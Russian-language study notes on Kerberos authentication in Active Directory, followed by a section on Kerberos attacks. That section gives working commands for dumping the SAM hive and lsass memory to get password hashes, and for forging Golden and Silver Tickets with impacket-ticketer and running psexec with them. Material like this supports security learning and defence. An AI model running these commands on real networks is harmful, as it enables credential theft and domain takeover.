# Заметки: kerberos > #kerberos #theory ![](https://i.imgur.com/HTsw2x8.jpg) **Kerberos** - это сетевой протокол аутентификации, используемый в `Active-directory`. C его помощью осуществляется проверка подлинности компьютерной среды. Важно: kerberos не отвечает за доступ к отдельно взятым сервисам, а просто идентифицирует пользователя, притом делает это в качестве доверенной третьей стороны. Построено все это чудо на криптографии симметричных ключей. Открытый порт под номером 88(tcp/udp) - явный признак kerberos (KDC). --- ## Основные моменты ### Кто же участвует во время аутентификации: 1. Некоторый `клиент` (client), который очень сильно хочет получить доступ к некоторому сервису; 2. `Сервер приложений` (AP), который предлагает клиенту этот самый сервис; 3. `Центр распределения ключей` (KDC) - главный сервис kerberos, он работает на контроллере домена и выдает `билеты` (tickets), а также хранит базу данных с информацией об учётных записях всех клиентов сети. Состоит из сервиса аутентификации (AS. Выдает билеты на выдачу билетов) и сервиса выдачи билетов (TGS. Выдает билеты на доступ к другим сервисам своего домена или к AS доверяемого домена); ### Ключи шифрования: 1. Ключ `krbtgt/KDC` - это производная от NTLM хэша учетной записи Active Directory, которая подписывает все Kerberos-билеты; 2. Ключ пользователя (`user key`) - производная от NTLM хэша учетной записи пользователя; 3. Ключ сервиса (`service key`) - производная от NTLM хэша владельца сервиса(таковым может быть как пользователь, так и компьютер); 4. Ключ сессии (`session key`) - ключ, который согласовывается между пользователем и KDC; 5. Сессионный ключ для работы с сервисом (`service session key`) - ключ, который используется между сервисом и пользователем; ### Идеи, на которых завязана аутентификация: **Билеты kerberos** Клиенты получают `билеты`, чтобы выполнять действия, связанные с Kerberos. При этом есть два типа билетов: 1. `TGS` (ticket granting service). Зашифрован ключом сервиса; 2. `TGT` (ticket granting ticket). Зашифрован ключом krbtgt. Поддельные TGT называются `golden-ticket/ами` (их подлинность не проверяется; используются для получения TGS) **Privilege Attribute Certificate** `PAC` - структура данных, подписанная ключом krbtgt. Прилагается почти к каждому билету kerberos во время аутентификации в среде Active Directory. Она указывает на привилегии, которыми обладает пользователь. Любой сервис может проверить происхождение и корректность `PAC`, обратившись к KDC. **Kerberos-cообщения (messages)** Данные сообщения являются основными. Без них процесс аутентификации невозможен. - `KRB_AS_REQ`: сообщение клиента для KDC на получение специального права на доступ(TGT); - `KRB_AS_REP`: сообщение от KDC, используется, чтобы отдать TGT клиенту; - `KRB_TGS_REQ`: сообщение клиента для KDC на получение TGS, при этом передается TGT; - `KRB_TGS_REP`: сообщение от KDC, используется, чтобы отдать TGS клиенту; - `KRB_AP_REQ`: сообщение клиента для сервера приложений на запрос доступа; - `KRB_AP_REP` (опционально): сообщение, посылаемое сервером приложений пользователю, если была запрошена взаимная аутентификация. В противном случае считается, что целевой сервис доступен и ожидает поступления клиентских данных; - `KRB_ERROR`: сообщение, которое заявляет об ошибке, произошедшей во время аутентификации; ### Порядок аутентификации: ![](https://i.imgur.com/WYZxvcT.jpg) ## Атаки, связанные c kerberos ### Pass-the-Key (PTK) Наличие хэша некоторого пользователя позволяет получить доступ к сервисам с его привилегиями. Для этого мы просто запрашиваем TGT, TGS используя чужой user key. Такой хэш можно получить из SAM или файла NTDS.DIT (или сдампив память процесса lsass) ```powershell #1 reg.exe save HKLM\SAM sam reg.exe save HKLM\SYSTEM system secretsdump.py -sam sam -system system LOCAL #2 procdump64.exe -accepteula -64 -ma lsass.exe lsass.dmp ``` ### Golden Ticket & Silver Ticket **Golden Ticket** - способ атаки, при котором злоумышленник знает ключ `krbtgt`. Этим ключом подписываются все TGT, поэтому можно аутентифицироваться, как любой пользователь домена. Иначе говоря "золотой билет" - это поддельный TGT, созданный с помощью украденного ключа krbtgt. ```bash impacket-ticketer -nthash $NT_HASH -domain-sid $DOMAIN_SID -domain $DOMAIN anyuser export KRB5CCNAME=anyuser.ccache psexec.py -k -no-pass [домен]/[пользователь]@[имя хоста] ``` --- **Silver Ticket** - поддельный TGS. Область его применимости ограничена определенной службой. Для данной атаки нужен `service key` и `spn`. ![](https://i.imgur.com/5ejgHCN.png) ```bash impacket-ticketer -nthash $NT_HASH -domain-sid $DOMAIN_SID -domain $DOMAIN -spn $SPN anyuser export KRB5CCNAME=anyuser.ccache psexec.py -k -no-pass [домен]/[пользователь]@[имя хоста] ``` ### Kerberoasting Из схемы, описывающей порядок аутентификации, ясно, что при наличии ключа пользователя мы можем обратиться к KDC для получения TGS. Вспомним, что TGS подписывается хэшом владельца сервиса. Тогда, если владельцем является пользователь, то у злоумышленника есть шанс крякнуть пароль. ### ASREPRoasting Как сказано ранее, если для пользователя установлен атрибут DONT_REQ_PREAUTH, то можно сконструировать сообщение `KRB_AS_REQ` без timestamp/a. Притом в сообщении `KRB_AS_REP` вернется структура "session_key+nonce+expire_time", зашифрованная ключом пользователя. Ее можно использовать, чтобы крякнуть пароль. #### Статьи по теме: - https://ardent101.github.io/posts/kerberos_theory/ - https://www.tarlogic.com/blog/how-kerberos-works/ - https://en.hackndo.com/kerberos/#krb_tgs_rep - [!] https://www.securitylab.ru/blog/company/pt/344797.php - [!] https://habr.com/ru/company/otus/blog/656177/ - https://xakep.ru/2020/04/15/windows-ad-persistence/ - https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html - https://habr.com/ru/company/rvision/blog/686784/ <i>by @xpoleones</i>